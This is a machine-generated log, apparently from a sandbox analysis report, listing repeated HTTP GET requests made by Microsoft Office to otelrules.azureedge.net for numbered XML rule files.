Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
